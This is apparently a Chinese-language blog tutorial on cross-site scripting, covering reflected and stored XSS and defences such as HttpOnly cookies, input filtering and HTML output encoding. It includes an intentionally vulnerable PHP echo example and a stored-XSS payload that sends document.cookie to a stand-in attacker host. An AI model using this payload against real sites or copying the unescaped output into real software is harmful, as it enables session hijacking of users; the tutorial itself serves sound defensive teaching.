• web安全-XSS攻击及防御


    XSS攻击的原理


    xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

    xss攻击主要用户攻击者盗取用户的cookie,由于sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者可以在session的生命周期内,达到获取被攻击用户的用户权限。

    xss攻击可以分成两种类型:

    1. 非持久型攻击
    2. 持久型攻击

    1.非持久型攻击

    顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。

    假设有以下页面:

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
    ?>

    该页面显示两条信息

    • 从URI获取 'name' 参数,并在页面显示
    • 显示跳转到一条URL的链接

    这时,当攻击者给出以下URL链接:

    index.php?name=guest<script>alert('attacked')</script>
    

     当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:

    Welcome guest
    <script>
      alert('attacked');//获取用户cookie,并将cookie通过网络传输至攻击者,则攻击者获取了用户权限
    </script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>

    当用户打开该地址后,会弹出“attacked”,攻击者可以在此植入javascript代码,以达到操作用户浏览器的目的

    2.持久型攻击

    持久型攻击是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。

    例子如下:A网站为论坛网站,攻击者可以在论坛中发表文章,该文章内包含攻击代码,并保存。

    <script>window.open(“www.attacked.com?param=”+document.cookie)</script>
    

     这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时之前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。

    XSS攻击的防御


    1.HttpOnly防止劫取Cookie

    HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。

    严格的书,HttpOnly并非为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。

    某些时候,应用可能需要javascript访问某几项cookie,这种cookie可以不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。

    2.输入检查 XSS Filter

    常见的XSS攻击都需要攻击者构造一些特殊字符,这些字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

    输入检查的逻辑,必须放在服务端代码实现。如果只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。

    目前的普遍做法是,在服务端代码和客户端代码中实现同样的代码检查逻辑。

    互联网上有很多开源的XSS Filter的实现。

    3.输出检查

    在变量输入到html页面时,对html代码进行HtmlEncode。

    为了对抗XSS,在HTMLEncode中要求至少转换以下字符:

    &     –>     &amp;

    <     –>     &lt;

    >     –>     &gt;

    ”     –>     &quot;

    ‘     –>     &#x27;

    /     –>     &#x2f;

    参考:《白帽子讲Web安全》

  • 相关阅读:
    WPF笔记(1)
    Java笔记(3)
    Java笔记(2)
    Java笔记(1)
    PHP学习笔记(5)
    PHP学习笔记(4)
    PHP学习笔记(3)
    PHP学习笔记(2)
    PHP学习笔记(1)
    WKWebView 支持https请求
  • 原文地址:https://www.cnblogs.com/chenqf/p/5200713.html
Copyright © 2020-2023  润新知